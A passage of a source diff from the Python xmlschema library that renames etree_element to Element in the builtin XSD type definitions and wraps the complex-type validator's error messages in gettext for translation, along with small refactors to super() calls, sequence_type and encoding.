Numerical derived types --- @@ -250,81 +249,81 @@ 'python_type': int, 'base_type': XSD_INTEGER, 'facets': [long_validator, - etree_element(XSD_MIN_INCLUSIVE, value='-9223372036854775808'), - etree_element(XSD_MAX_INCLUSIVE, value='9223372036854775807')] + Element(XSD_MIN_INCLUSIVE, value='-9223372036854775808'), + Element(XSD_MAX_INCLUSIVE, value='9223372036854775807')] }, # signed 128 bit value { 'name': XSD_INT, 'python_type': int, 'base_type': XSD_LONG, 'facets': [int_validator, - etree_element(XSD_MIN_INCLUSIVE, value='-2147483648'), - etree_element(XSD_MAX_INCLUSIVE, value='2147483647')] + Element(XSD_MIN_INCLUSIVE, value='-2147483648'), + Element(XSD_MAX_INCLUSIVE, value='2147483647')] }, # signed 64 bit value { 'name': XSD_SHORT, 'python_type': int, 'base_type': XSD_INT, 'facets': [short_validator, - etree_element(XSD_MIN_INCLUSIVE, value='-32768'), - etree_element(XSD_MAX_INCLUSIVE, value='32767')] + Element(XSD_MIN_INCLUSIVE, value='-32768'), + Element(XSD_MAX_INCLUSIVE, value='32767')] }, # signed 32 bit value { 'name': XSD_BYTE, 'python_type': int, 'base_type': XSD_SHORT, 'facets': [byte_validator, - etree_element(XSD_MIN_INCLUSIVE, value='-128'), - etree_element(XSD_MAX_INCLUSIVE, value='127')] + Element(XSD_MIN_INCLUSIVE, value='-128'), + Element(XSD_MAX_INCLUSIVE, value='127')] }, # signed 8 bit value { 'name': XSD_NON_NEGATIVE_INTEGER, 'python_type': int, 'base_type': XSD_INTEGER, - 'facets': [non_negative_int_validator, etree_element(XSD_MIN_INCLUSIVE, value='0')] + 'facets': [non_negative_int_validator, Element(XSD_MIN_INCLUSIVE, value='0')] }, # only zero and more value allowed [>= 0] { 'name': XSD_POSITIVE_INTEGER, 'python_type': int, 'base_type': XSD_NON_NEGATIVE_INTEGER, - 'facets': [positive_int_validator, etree_element(XSD_MIN_INCLUSIVE, value='1')] + 'facets': [positive_int_validator, Element(XSD_MIN_INCLUSIVE, value='1')] }, # only positive value allowed [> 0] { 'name': XSD_UNSIGNED_LONG, 'python_type': int, 'base_type': XSD_NON_NEGATIVE_INTEGER, 'facets': [unsigned_long_validator, - etree_element(XSD_MAX_INCLUSIVE, value='18446744073709551615')] + Element(XSD_MAX_INCLUSIVE, value='18446744073709551615')] }, # unsigned 128 bit value { 'name': XSD_UNSIGNED_INT, 'python_type': int, 'base_type': XSD_UNSIGNED_LONG, - 'facets': [unsigned_int_validator, etree_element(XSD_MAX_INCLUSIVE, value='4294967295')] + 'facets': [unsigned_int_validator, Element(XSD_MAX_INCLUSIVE, value='4294967295')] }, # unsigned 64 bit value { 'name': XSD_UNSIGNED_SHORT, 'python_type': int, 'base_type': XSD_UNSIGNED_INT, - 'facets': [unsigned_short_validator, etree_element(XSD_MAX_INCLUSIVE, value='65535')] + 'facets': [unsigned_short_validator, Element(XSD_MAX_INCLUSIVE, value='65535')] }, # unsigned 32 bit value { 'name': XSD_UNSIGNED_BYTE, 'python_type': int, 'base_type': XSD_UNSIGNED_SHORT, - 'facets': [unsigned_byte_validator, etree_element(XSD_MAX_INCLUSIVE, value='255')] + 'facets': [unsigned_byte_validator, Element(XSD_MAX_INCLUSIVE, value='255')] }, # unsigned 8 bit value { 'name': XSD_NON_POSITIVE_INTEGER, 'python_type': int, 'base_type': XSD_INTEGER, - 'facets': [non_positive_int_validator, etree_element(XSD_MAX_INCLUSIVE, value='0')] + 'facets': [non_positive_int_validator, Element(XSD_MAX_INCLUSIVE, value='0')] }, # only zero and smaller value allowed [<= 0] { 'name': XSD_NEGATIVE_INTEGER, 'python_type': int, 'base_type': XSD_NON_POSITIVE_INTEGER, - 'facets': [negative_int_validator, etree_element(XSD_MAX_INCLUSIVE, value='-1')] + 'facets': [negative_int_validator, Element(XSD_MAX_INCLUSIVE, value='-1')] }, # only negative value allowed [< 0] ) @@ -334,12 +333,14 @@ 'python_type': float, 'admitted_facets': FLOAT_FACETS, 'facets': [XSD10_FLOAT_PATTERN_ELEMENT, COLLAPSE_WHITE_SPACE_ELEMENT], + 'from_python': python_to_float, }, # 64 bit floating point { 'name': XSD_FLOAT, 'python_type': float, 'admitted_facets': FLOAT_FACETS, 'facets': [XSD10_FLOAT_PATTERN_ELEMENT, COLLAPSE_WHITE_SPACE_ELEMENT], + 'from_python': python_to_float, }, # 32 bit floating point # --- Year related primitive types (year 0 not allowed) --- @@ -379,12 +380,14 @@ 'python_type': float, 'admitted_facets': FLOAT_FACETS, 'facets': [XSD11_FLOAT_PATTERN_ELEMENT, COLLAPSE_WHITE_SPACE_ELEMENT], + 'from_python': python_to_float, }, # 64 bit floating point { 'name': XSD_FLOAT, 'python_type': float, 'admitted_facets': FLOAT_FACETS, 'facets': [XSD11_FLOAT_PATTERN_ELEMENT, COLLAPSE_WHITE_SPACE_ELEMENT], + 'from_python': python_to_float, }, # 32 bit floating point # --- Year related primitive types (year 0 allowed and mapped to 1 BCE) --- @@ -422,14 +425,14 @@ 'python_type': (datatypes.DateTimeStamp, str), 'base_type': XSD_DATETIME, 'to_python': datatypes.DateTime.fromstring, - 'facets': [etree_element(XSD_EXPLICIT_TIMEZONE, value='required')], + 'facets': [Element(XSD_EXPLICIT_TIMEZONE, value='required')], }, # [-][Y*]YYYY-MM-DD[Thh:mm:ss] with required timezone { 'name': XSD_DAY_TIME_DURATION, 'python_type': (datatypes.DayTimeDuration, str), 'base_type': XSD_DURATION, 'to_python': datatypes.DayTimeDuration.fromstring, - }, # PnYnMnDTnHnMnS with month an year equal to 0 + }, # PnYnMnDTnHnMnS with month a year equal to 0 { 'name': XSD_YEAR_MONTH_DURATION, 'python_type': (datatypes.YearMonthDuration, str), @@ -471,7 +474,7 @@ def xsd_builtin_types_factory( # xs:anySimpleType # Ref: https://www.w3.org/TR/xmlschema11-2/#builtin-stds xsd_any_simple_type = xsd_types[XSD_ANY_SIMPLE_TYPE] = XsdSimpleType( - elem=etree_element(XSD_SIMPLE_TYPE, name=XSD_ANY_SIMPLE_TYPE), + elem=Element(XSD_SIMPLE_TYPE, name=XSD_ANY_SIMPLE_TYPE), schema=meta_schema, parent=None, name=XSD_ANY_SIMPLE_TYPE @@ -480,7 +483,7 @@ def xsd_builtin_types_factory( # xs:anyAtomicType # Ref: https://www.w3.org/TR/xmlschema11-2/#builtin-stds xsd_types[XSD_ANY_ATOMIC_TYPE] = meta_schema.xsd_atomic_restriction_class( - elem=etree_element(XSD_SIMPLE_TYPE, name=XSD_ANY_ATOMIC_TYPE), + elem=Element(XSD_SIMPLE_TYPE, name=XSD_ANY_ATOMIC_TYPE), schema=meta_schema, parent=None, name=XSD_ANY_ATOMIC_TYPE, @@ -495,7 +498,7 @@ def xsd_builtin_types_factory( except KeyError: # If builtin type element is missing create a dummy element. Necessary for the # meta-schema XMLSchema.xsd of XSD 1.1, that not includes builtins declarations. - elem = etree_element(XSD_SIMPLE_TYPE, name=name, id=name) + elem = Element(XSD_SIMPLE_TYPE, name=name, id=name) else: elem, schema = value if schema is not meta_schema: diff --git a/xmlschema/validators/complex_types.py b/xmlschema/validators/complex_types.py index 467d227..fe0386e 100644 --- a/xmlschema/validators/complex_types.py +++ b/xmlschema/validators/complex_types.py @@ -7,26 +7,27 @@ # # @author Davide Brunato <brunato@sissa.it> # -from collections.abc import MutableSequence from typing import cast, Any, Callable, Iterator, List, Optional, Tuple, Union +from elementpath.datatypes import AnyAtomicType + from ..exceptions import XMLSchemaValueError from ..names import XSD_GROUP, XSD_ATTRIBUTE_GROUP, XSD_SEQUENCE, XSD_OVERRIDE, \ XSD_ALL, XSD_CHOICE, XSD_ANY_ATTRIBUTE, XSD_ATTRIBUTE, XSD_COMPLEX_CONTENT, \ XSD_RESTRICTION, XSD_COMPLEX_TYPE, XSD_EXTENSION, XSD_ANY_TYPE, XSD_ASSERT, \ - XSD_UNTYPED_ATOMIC, XSD_SIMPLE_CONTENT, XSD_OPEN_CONTENT, XSD_ANNOTATION + XSD_SIMPLE_CONTENT, XSD_OPEN_CONTENT, XSD_ANNOTATION from ..aliases import ElementType, NamespacesType, SchemaType, ComponentClassType, \ DecodeType, IterDecodeType, IterEncodeType, BaseXsdType, AtomicValueType, \ ExtraValidatorType -from ..helpers import get_prefixed_qname, get_qname, local_name -from .. import dataobjects +from ..translation import gettext as _ +from ..helpers import get_qname, local_name from .exceptions import XMLSchemaDecodeError from .helpers import get_xsd_derivation_attribute from .xsdbase import XSD_TYPE_DERIVATIONS, XsdComponent, XsdType, ValidationMixin from .attributes import XsdAttributeGroup from .assertions import XsdAssert -from .simple_types import FacetsValueType, XsdSimpleType, XsdUnion +from .simple_types import FacetsValueType, XsdSimpleType, XsdUnion, XsdAtomic from .groups import XsdGroup from .wildcards import XsdOpenContent, XsdDefaultOpenContent @@ -87,7 +88,7 @@ def __init__(self, elem: ElementType, self._block = kwargs['block'] if 'final' in kwargs: self._final = kwargs['final'] - super(XsdComplexType, self).__init__(elem, schema, parent, name) + super().__init__(elem, schema, parent, name) assert self.content is not None def __repr__(self) -> str: @@ -106,7 +107,7 @@ def _parse(self) -> None: return # a local restriction is already parsed by the caller if 'abstract' in self.elem.attrib: - if self.elem.attrib['abstract'].strip() in {'true', '1'}: + if self.elem.attrib['abstract'].strip() in ('true', '1'): self.abstract = True if 'block' in self.elem.attrib: @@ -122,7 +123,7 @@ def _parse(self) -> None: self.parse_error(err) if 'mixed' in self.elem.attrib: - if self.elem.attrib['mixed'].strip() in {'true', '1'}: + if self.elem.attrib['mixed'].strip() in ('true', '1'): self.mixed = True try: @@ -130,11 +131,13 @@ def _parse(self) -> None: except KeyError: self.name = None if self.parent is None: - self.parse_error("missing attribute 'name' in a global complexType") + msg = _("missing attribute 'name' in a global complexType") + self.parse_error(msg) self.name = 'nameless_%s' % str(id(self)) else: if self.parent is not None: - self.parse_error("attribute 'name' not allowed for a local complexType") + msg = _("attribute 'name' not allowed in a local complexType") + self.parse_error(msg) self.name = None content_elem = self._parse_child_component(self.elem, strict=False) @@ -156,7 +159,8 @@ def _parse(self) -> None: elif content_elem.tag == XSD_SIMPLE_CONTENT: if 'mixed' in content_elem.attrib: - self.parse_error("'mixed' attribute not allowed with simpleContent", content_elem) + msg = _("'mixed' attribute not allowed with simpleContent") + self.parse_error(msg, content_elem) derivation_elem = self._parse_derivation_elem(content_elem) if derivation_elem is None: @@ -170,9 +174,8 @@ def _parse(self) -> None: if content_elem is not self.elem[-1]: k = 2 if content_elem is not self.elem[0] else 1 - self.parse_error( - "unexpected tag %r after simpleContent declaration:" % self.elem[k].tag - ) + msg = _("unexpected tag %r after simpleContent declaration:") + self.parse_error(msg % self.elem[k].tag) elif content_elem.tag == XSD_COMPLEX_CONTENT: # @@ -182,8 +185,9 @@ def _parse(self) -> None: if mixed is not self.mixed: self.mixed = mixed if 'mixed' in self.elem.attrib and self.xsd_version == '1.1': - self.parse_error("value of 'mixed' attribute in complexType " - "and complexContent must be same") + msg = _("value of 'mixed' attribute in complexType " + "and complexContent must be the same") + self.parse_error(msg) derivation_elem = self._parse_derivation_elem(content_elem) if derivation_elem is None: @@ -201,9 +205,8 @@ def _parse(self) -> None: if content_elem is not self.elem[-1]: k = 2 if content_elem is not self.elem[0] else 1 - self.parse_error( - "unexpected tag %r after complexContent declaration:" % self.elem[k].tag - ) + msg = _("unexpected tag %r after complexContent declaration") + self.parse_error(msg % self.elem[k].tag) elif content_elem.tag == XSD_OPEN_CONTENT and self.xsd_version > '1.0': self.open_content = XsdOpenContent(content_elem, self.schema, self) @@ -226,17 +229,19 @@ def _parse(self) -> None: else: if self.schema.validation == 'skip': # Also generated by meta-schema validation for 'lax' and 'strict' modes - self.parse_error( - "unexpected tag %r for complexType content:" % content_elem.tag - ) + msg = _("unexpected tag %r for complexType content") + self.parse_error(msg % content_elem.tag) + self.content = self.schema.create_any_content_group(self) self.attributes = self.schema.create_any_attribute_group(self) if self.redefine is None: if self.base_type is not None and self.base_type.name == self.name: - self.parse_error("wrong definition with self-reference") + msg = _("wrong definition with self-reference") + self.parse_error(msg) elif self.base_type is None or self.base_type.name != self.name: - self.parse_error("wrong redefinition without self-reference") + msg = _("wrong redefinition without self-reference") + self.parse_error(msg) def _parse_content_tail(self, elem: ElementType, **kwargs: Any) -> None: self.attributes = self.schema.xsd_attribute_group_class( @@ -246,18 +251,20 @@ def _parse_content_tail(self, elem: ElementType, **kwargs: Any) -> None: def _parse_derivation_elem(self, elem: ElementType) -> Optional[ElementType]: derivation_elem = self._parse_child_component(elem) if derivation_elem is None or derivation_elem.tag not in {XSD_RESTRICTION, XSD_EXTENSION}: - self.parse_error("restriction or extension tag expected", derivation_elem) + msg = _("restriction or extension tag expected") + self.parse_error(msg, derivation_elem) self.content = self.schema.create_any_content_group(self) self.attributes = self.schema.create_any_attribute_group(self) return None if self.derivation is not None and self.redefine is None: - raise XMLSchemaValueError("{!r} is expected to have a redefined/" - "overridden component".format(self)) + msg = _("{!r} is expected to have a redefined/overridden component") + raise XMLSchemaValueError(msg.format(self)) self.derivation = local_name(derivation_elem.tag) if self.base_type is not None and self.derivation in self.base_type.final: - self.parse_error(f"{self.derivation!r} derivation not allowed for {self!r}") + msg = _("{0!r} derivation not allowed for {1!r}") + self.parse_error(msg.format(self.derivation, self)) return derivation_elem def _parse_base_type(self, elem: ElementType, complex_content: bool = False) \ @@ -266,7 +273,8 @@ def _parse_base_type(self, elem: ElementType, complex_content: bool = False) \ base_qname = self.schema.resolve_qname(elem.attrib['base']) except (KeyError, ValueError, RuntimeError) as err: if 'base' not in elem.attrib: - self.parse_error("'base' attribute required", elem) + msg = _("'base' attribute required") + self.parse_error(msg, elem) else: self.parse_error(err, elem) return self.any_type @@ -274,22 +282,24 @@ def _parse_base_type(self, elem: ElementType, complex_content: bool = False) \ try: base_type = self.maps.lookup_type(base_qname) except KeyError: - self.parse_error("missing base type %r" % base_qname, elem) + msg = _("missing base type %r") + self.parse_error(msg % base_qname, elem) if complex_content: return self.any_type else: return self.any_simple_type else: if isinstance(base_type, tuple): - self.parse_error("circularity definition found between %r " - "and %r" % (self, base_qname), elem) + msg = _("circular definition found between {0!r} and {1!r}") + self.parse_error(msg.format(self, base_qname), elem) return self.any_type elif complex_content and base_type.is_simple(): - self.parse_error("a complexType ancestor required: %r" % base_type, elem) + msg = _("a complexType ancestor required: {!r}") + self.parse_error(msg.format(base_type), elem) return self.any_type if base_type.final and elem.tag.rsplit('}', 1)[-1] in base_type.final: - msg = "derivation by %r blocked by attribute 'final' in base type" + msg = _("derivation by %r blocked by attribute 'final' in base type") self.parse_error(msg % elem.tag.rsplit('}', 1)[-1]) return base_type @@ -298,27 +308,29 @@ def _parse_simple_content_restriction(self, elem: ElementType, base_type: Any) - # simpleContent restriction: the base type must be a complexType with a simple # content or a complex content with a mixed and emptiable content. if base_type.is_simple(): - self.parse_error("a complexType ancestor required: %r" % base_type, elem) + msg = _("a complexType ancestor required: {!r}") + self.parse_error(msg.format(base_type), elem) self.content = self.schema.create_any_content_group(self) self._parse_content_tail(elem) else: if base_type.is_empty(): self.content = self.schema.xsd_atomic_restriction_class(elem, self.schema, self) if not self.is_empty(): - self.parse_error("a not empty simpleContent cannot restrict " - "an empty content type", elem) + msg = _("a not empty simpleContent cannot restrict an empty content type") + self.parse_error(msg, elem) self.content = self.schema.create_any_content_group(self) elif base_type.has_simple_content(): self.content = self.schema.xsd_atomic_restriction_class(elem, self.schema, self) if not self.content.is_derived(base_type.content, 'restriction'): - self.parse_error("content type is not a restriction of base content", elem) + msg = _("content type is not a restriction of base content") + self.parse_error(msg, elem) elif base_type.mixed and base_type.is_emptiable(): self.content = self.schema.xsd_atomic_restriction_class(elem, self.schema, self) else: - self.parse_error("with simpleContent cannot restrict an " - "element-only content type", elem) + msg = _("with simpleContent cannot restrict an element-only content type") + self.parse_error(msg, elem) self.content = self.schema.create_any_content_group(self) self._parse_content_tail(elem, derivation='restriction', @@ -329,7 +341,8 @@ def _parse_simple_content_extension(self, elem: ElementType, base_type: Any) -> # with simple content. child = self._parse_child_component(elem, strict=False) if child is not None and child.tag not in self._CONTENT_TAIL_TAGS: - self.parse_error('unexpected tag %r' % child.tag, child) + msg = _('unexpected tag %r') + self.parse_error(msg % child.tag, child) if base_type.is_simple(): self.content = base_type @@ -338,7 +351,7 @@ def _parse_simple_content_extension(self, elem: ElementType, base_type: Any) -> if base_type.has_simple_content(): self.content = base_type.content else: - self.parse_error("base type %r has not simple content." % base_type, elem) + self.parse_error(_("base type %r has no simple content") % base_type, elem) self.content = self.schema.create_any_content_group(self) self._parse_content_tail(elem, derivation='extension', @@ -346,9 +359,11 @@ def _parse_simple_content_extension(self, elem: ElementType, base_type: Any) -> def _parse_complex_content_restriction(self, elem: ElementType, base_type: Any) -> None: if 'restriction' in base_type.final: - self.parse_error("the base type is not derivable by restriction") + msg = _("the base type is not derivable by restriction") + self.parse_error(msg) if base_type.is_simple() or base_type.has_simple_content(): - self.parse_error("base %r is simple or has a simple content." % base_type, elem) + msg = _("base %r is simple or has a simple content") + self.parse_error(msg % base_type, elem) base_type = self.any_type # complexContent restriction: the base type must be a complexType with a complex content. @@ -359,10 +374,9 @@ def _parse_complex_content_restriction(self, elem: ElementType, base_type: Any) elif child.tag in XSD_MODEL_GROUP_TAGS: content = self.schema.xsd_group_class(child, self.schema, self) if not base_type.content.admits_restriction(content.model): - self.parse_error( - "restriction of an xs:{} with more than one particle with xs:{} is " - "forbidden".format(base_type.content.model, content.model) - ) + msg = _("restriction of an xs:{0} with more than " + "one particle with xs:{1} is forbidden") + self.parse_error(msg.format(base_type.content.model, content.model)) break else: content = self.schema.create_empty_content_group( @@ -372,13 +386,11 @@ def _parse_complex_content_restriction(self, elem: ElementType, base_type: Any) content.restriction = base_type.content if base_type.is_element_only() and content.mixed: - self.parse_error( - "derived a mixed content from a base type that has element-only content.", elem - ) + msg = _("derived a mixed content from a base type that has element-only content") + self.parse_error(msg, elem) elif base_type.is_empty() and not content.is_empty(): - self.parse_error( - "derived an empty content from base type that has not empty content.", elem - ) + msg = _("an empty content derivation from base type that has not empty content") + self.parse_error(msg, elem) if self.open_content is None: default_open_content = self.default_open_content @@ -388,7 +400,7 @@ def _parse_complex_content_restriction(self, elem: ElementType, base_type: Any) if self.open_content and content and \ not self.open_content.is_restriction(base_type.open_content): - msg = "{!r} is not a restriction of the base type {!r}" + msg = _("{0!r} is not a restriction of the base type {1!r}") self.parse_error(msg.format(self.open_content, base_type.open_content)) self.content = content @@ -397,7 +409,8 @@ def _parse_complex_content_restriction(self, elem: ElementType, base_type: Any) def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> None: if 'extension' in base_type.final: - self.parse_error("the base type is not derivable by extension") + msg = _("the base type is not derivable by extension") + self.parse_error(msg) group_elem: Optional[ElementType] for group_elem in elem: @@ -419,7 +432,7 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> self.content = self.schema.create_empty_content_group( parent=self, elem=base_type.content.elem ) - elif base_type.mixed: + else: # Empty mixed model extension self.content = self.schema.create_empty_content_group(self) self.content.append(self.schema.create_empty_content_group(self.content)) @@ -429,8 +442,9 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> group_elem, self.schema, self.content ) if not self.mixed: - self.parse_error("base has a different content type (mixed=%r) and the " - "extension group is not empty." % base_type.mixed, elem) + msg = _("base has a different content type (mixed=%r) " + "and the extension group is not empty.") + self.parse_error(msg % base_type.mixed, elem) else: group = self.schema.create_empty_content_group(self) @@ -441,15 +455,18 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> elif group_elem is not None and group_elem.tag in XSD_MODEL_GROUP_TAGS: # Derivation from a simple content is forbidden if base type is not empty. if base_type.is_simple() or base_type.has_simple_content(): - self.parse_error("base %r is simple or has a simple content." % base_type, elem) + msg = _("base %r is simple or has a simple content") + self.parse_error(msg % base_type, elem) base_type = self.any_type group = self.schema.xsd_group_class(group_elem, self.schema, self) if group.model == 'all': - self.parse_error("cannot extend a complex content with xs:all") + msg = _("cannot extend a complex content with xs:all") + self.parse_error(msg) if base_type.content.model == 'all' and group.model == 'sequence': - self.parse_error("xs:sequence cannot extend xs:all") + msg = _("xs:sequence cannot extend xs:all") + self.parse_error(msg) content = self.schema.create_empty_content_group(self) content.append(base_type.content) @@ -458,12 +475,12 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> content.elem.append(group.elem) if base_type.content.model == 'all' and base_type.content and group: - self.parse_error( - "XSD 1.0 does not allow extension of a not empty 'all' model group" - ) - if base_type.mixed != self.mixed and base_type.name != XSD_ANY_TYPE: - self.parse_error("base has a different content type (mixed=%r) and the " - "extension group is not empty" % base_type.mixed, elem) + msg = _("XSD 1.0 does not allow extension of a not empty 'all' model group") + self.parse_error(msg) + if base_type.mixed is not self.mixed: + msg = _("base has a different content type (mixed=%r) " + "and the extension group is not empty") + self.parse_error(msg % base_type.mixed, elem) self.content = content elif base_type.is_simple(): @@ -471,13 +488,16 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> elif base_type.has_simple_content(): self.content = base_type.content else: + # Derived type has an empty content + if self.mixed is not base_type.mixed: + if self.mixed: + msg = _("extended type has a mixed content but the base is element-only") + self.parse_error(msg, elem) + self.mixed = base_type.mixed # not an error if mixed='false' + self.content = self.schema.create_empty_content_group(self) self.content.append(base_type.content) self.content.elem.append(base_type.content.elem) - if base_type.mixed != self.mixed and base_type.name != XSD_ANY_TYPE and self.mixed: - self.parse_error( - "extended type has a mixed content but the base is element-only", elem - ) self._parse_content_tail(elem, derivation='extension', base_attributes=base_type.attributes) @@ -505,14 +525,6 @@ def simple_type(self) -> Optional[XsdSimpleType]: def model_group(self) -> Optional[XsdGroup]: return self.content if isinstance(self.content, XsdGroup) else None - @property - def content_type(self) -> Union[XsdGroup, XsdSimpleType]: - """Property that returns the attribute *content*, for backward compatibility.""" - import warnings - warnings.warn("'content_type' attribute has been replaced by 'content' " - "and will be removed in version 2.0", DeprecationWarning, stacklevel=2) - return self.content - @property def content_type_label(self) -> str: if self.is_empty(): @@ -524,20 +536,22 @@ def content_type_label(self) -> str: else: return 'element-only' + @property + def root_type(self) -> BaseXsdType: + if self.attributes or self.base_type is None: + return cast('XsdComplexType', self.maps.types[XSD_ANY_TYPE]) + else: + return self.base_type.root_type + @property def sequence_type(self) -> str: if self.is_empty(): return 'empty-sequence()' - elif not self.has_simple_content(): - st = get_prefixed_qname(XSD_UNTYPED_ATOMIC, self.namespaces) + elif isinstance(self.content, XsdAtomic): + name = self.content.primitive_type.local_name + st = 'item()' if name is None else f'xs:{name}' else: - try: - st = self.content.primitive_type.prefixed_name # type: ignore[union-attr] - except AttributeError: - st = get_prefixed_qname(XSD_UNTYPED_ATOMIC, self.namespaces) - else: - if st is None: - st = 'item()' + st = 'xs:untypedAtomic' return f"{st}{'*' if self.is_emptiable() else '+'}" @@ -591,6 +605,10 @@ def is_element_only(self) -> bool: def is_list(self) -> bool: return isinstance(self.content, XsdSimpleType) and self.content.is_list() + def is_dynamic_consistent(self, other: Any) -> bool: + return other.name == XSD_ANY_TYPE or self.is_derived(other) or \ + isinstance(other, XsdUnion) and any(self.is_derived(mt) for mt in other.member_types) + def validate(self, obj: Union[ElementType, str, bytes], use_defaults: bool = True, namespaces: Optional[NamespacesType] = None, @@ -603,7 +621,7 @@ def validate(self, obj: Union[ElementType, str, bytes], 'extra_validator': extra_validator } if not isinstance(obj, (str, bytes)): - super(XsdComplexType, self).validate(obj, **kwargs) + super().validate(obj, **kwargs) elif isinstance(self.content, XsdSimpleType): self.content.validate(obj, **kwargs) elif not self.mixed and self.base_type is not None: @@ -621,7 +639,7 @@ def is_valid(self, obj: Union[ElementType, str, bytes], 'extra_validator': extra_validator } if not isinstance(obj, (str, bytes)): - return super(XsdComplexType, self).is_valid(obj, **kwargs) + return super().is_valid(obj, **kwargs) elif isinstance(self.content, XsdSimpleType): return self.content.is_valid(obj, **kwargs) else: @@ -636,7 +654,8 @@ def is_derived(self, other: Union[BaseXsdType, Tuple[ElementType, SchemaType]], if self is other: return derivation is None elif isinstance(other, tuple): - other[1].parse_error(f"global type {other[0].tag!r} is not built") + msg = _("global type {!r} is not built") + other[1].parse_error(msg.format(other[0].tag)) return False elif other.name == XSD_ANY_TYPE: return True @@ -697,12 +716,13 @@ def text_decode(self, text: str) -> Optional[AtomicValueType]: def decode(self, obj: Union[ElementType, str, bytes], *args: Any, **kwargs: Any) \ -> DecodeType[Any]: if not isinstance(obj, (str, bytes)): - return super(XsdComplexType, self).decode(obj, *args, **kwargs) + return super().decode(obj, *args, **kwargs) elif isinstance(self.content, XsdSimpleType): return self.content.decode(obj, *args, **kwargs) else: + msg = _("cannot decode %(obj)r data with %(decoder)r") raise XMLSchemaDecodeError( - self, obj, str, "cannot decode %r data with %r" % (obj, self) + self, obj, str, msg % {'obj': obj, 'decoder': self} ) def iter_decode(self, obj: Union[ElementType, str, bytes], @@ -725,14 +745,15 @@ def iter_decode(self, obj: Union[ElementType, str, bytes], elif isinstance(self.content, XsdSimpleType): yield from self.content.iter_decode(obj, validation, **kwargs) else: + msg = _("cannot decode %(obj)r data with %(decoder)r") raise XMLSchemaDecodeError( - self, obj, str, "cannot decode %r data with %r" % (obj, self) + self, obj, str, msg % {'obj': obj, 'decoder': self} ) def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ -> IterEncodeType[ElementType]: """ - Encode XML data. A dummy element is created for the type and it's used for + Encode XML data. A dummy element is created for the type, and it's used for encode data. Typically used for encoding with xs:anyType when an XSD element is not available. @@ -748,20 +769,14 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ name = obj.name value = obj - xsd_element = self.schema.create_element(name, parent=self, form='unqualified') - xsd_element.type = self - - if isinstance(value, MutableSequence) and not isinstance(value, dataobjects.DataElement): - try: - results = [x for item in value for x in xsd_element.iter_encode( - item, validation, **kwargs - )] - except XMLSchemaValueError: - pass - else: - yield from results - return + xsd_type: BaseXsdType + if isinstance(value, AnyAtomicType): + xsd_type = self.any_atomic_type + else: + xsd_type = self.any_type + xsd_element = self.schema.create_element(name, parent=xsd_type, form='unqualified') + xsd_element.type = xsd_type yield from xsd_element.iter_encode(value, validation, **kwargs) @@ -819,25 +834,23 @@ def default_open_content(self) -> Optional[XsdDefaultOpenContent]: return self.schema.default_open_content def _parse(self) -> None: - super(Xsd11ComplexType, self)._parse() + super()._parse() if self.base_type and self.base_type.base_type is self.any_simple_type and \ self.base_type.derivation == 'extension' and not self.attributes: # Derivation from xs:anySimpleType with missing variety. # See: http://www.w3.org/TR/xmlschema11-1/#Simple_Type_Definition_details - msg = "the simple content of {!r} is not a valid simple type in XSD 1.1" + msg = _("the simple content of {!r} is not a valid simple type in XSD 1.1") self.parse_error(msg.format(self.base_type)) # Add open content to a complex content type if isinstance(self.content, XsdGroup): if self.open_content is None: - if self.content.interleave is not None or self.content.suffix is not None: - self.parse_error("openContent mismatch between type and model group") - elif self.open_content.mode == 'interleave': - self.content.interleave = self.content.suffix \ - = self.open_content.any_element - elif self.open_content.mode == 'suffix': - self.content.suffix = self.open_content.any_element + if self.content.open_content is not None: + msg = _("openContent mismatch between type and model group") + self.parse_error(msg) + elif self.open_content: + self.content.open_content = self.open_content # Add inheritable attributes if isinstance(self.base_type, XsdComplexType): @@ -846,11 +859,12 @@ def _parse(self) -> None: if name not in self.attributes: self.attributes[name] = attr elif not self.attributes[name].inheritable: - self.parse_error("attribute %r must be inheritable") + msg = _("attribute %r must be inheritable") + self.parse_error(msg % name) if 'defaultAttributesApply' not in self.elem.attrib: self.default_attributes_apply = True - elif self.elem.attrib['defaultAttributesApply'].strip() in {'false', '0'}: + elif self.elem.attrib['defaultAttributesApply'].strip() in ('false', '0'): self.default_attributes_apply = False else: self.default_attributes_apply = True @@ -861,8 +875,9 @@ def _parse(self) -> None: if self.redefine is None: for k in self.default_attributes: if k in self.attributes: - self.parse_error(f"default attribute {k!r} is already " - f"declared in the complex type") + msg = _("default attribute {!r} is already " + "declared in the complex type") + self.parse_error(msg.format(k)) self.attributes.update((k, v) for k, v in self.default_attributes.items()) @@ -871,11 +886,13 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> # For the detailed rule refer to XSD 1.1 documentation: # https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#sec-cos-ct-extends if base_type.is_simple() or base_type.has_simple_content(): - self.parse_error("base %r is simple or has a simple content." % base_type, elem) + msg = _("base %r is simple or has a simple content") + self.parse_error(msg % base_type, elem) base_type = self.any_type if 'extension' in base_type.final: - self.parse_error("the base type is not derivable by extension") + msg = _("the base type is not derivable by extension") + self.parse_error(msg) # Parse openContent group_elem: Any @@ -900,22 +917,16 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> self.content = self.schema.xsd_group_class( group_elem, self.schema, self ) - elif base_type.content.max_occurs is None: - self.content = self.schema.create_empty_content_group( - parent=self, - model=base_type.content.model, - minOccurs=str(base_type.content.min_occurs), - maxOccurs='unbounded', - ) else: + max_occurs = base_type.content.max_occurs self.content = self.schema.create_empty_content_group( parent=self, model=base_type.content.model, minOccurs=str(base_type.content.min_occurs), - maxOccurs=str(base_type.content.max_occurs), + maxOccurs='unbounded' if max_occurs is None else str(max_occurs), ) - elif base_type.mixed: + else: # Empty mixed model extension self.content = self.schema.create_empty_content_group(self) self.content.append(self.schema.create_empty_content_group(self.content)) @@ -925,10 +936,12 @@ def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> group_elem, self.schema, self.content ) if not self.mixed: - self.parse_error("base has a different content type (mixed=%r) and the " - "extension group is not empty." % base_type.mixed, elem) + msg = _("base has a different content type (mixed=%r) " + 